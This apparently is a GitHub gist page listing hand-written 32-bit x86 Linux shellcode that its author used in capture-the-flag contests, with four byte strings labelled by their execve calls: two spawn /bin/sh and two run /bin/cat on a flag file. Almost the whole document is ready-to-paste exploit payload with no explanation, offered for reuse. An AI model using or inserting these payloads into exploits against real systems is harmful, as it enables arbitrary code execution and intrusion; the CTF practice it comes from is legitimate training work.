[execve("/bin/sh", ["/bin/sh", NULL, NULL], NULL)]
"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50" + \
"\x50\x53\x89\xe1\x8b\x54\x24\x08\xb0\x0b\xcd\x80"
[execve("/bin/sh", ["/bin/sh", NULL, NULL], NULL)]
"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50" + \
"\x50\x53\x89\xe1\x8d\x54\x24\x08\xb0\x0b\xcd\x80"
[execve("/bin/cat", ["/bin/cat", "flag", NULL], NULL)]
"\x31\xc0\x50\x68\x66\x6c\x61\x67\x89\xe6\x50\x68\x2f\x63\x61\x74" + \
"\x68\x2f\x62\x69\x6e\x89\xe3\x50\x56\x53\x89\xe1\x8b\x54\x24\x08" + \
"\xb0\x0b\xcd\x80"
[execve("/bin/cat", ["/bin/cat", "flag.txt", NULL], NULL)]
"\x31\xc0\x50\x68\x2e\x74\x78\x74\x68\x66\x6c\x61\x67\x89\xe6\x50" + \
"\x68\x2f\x63\x61\x74\x68\x2f\x62\x69\x6e\x89\xe3\x50\x50\x56\x53" + \
"\x89\xe1\x8b\x54\x24\x08\xb0\x0b\xcd\x80"
-
-
Save spnow/9d53224c6b55a56f33ef6454daca12e5 to your computer and use it in GitHub Desktop.
list of hand-made shellcode i've ever used in CTF...
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment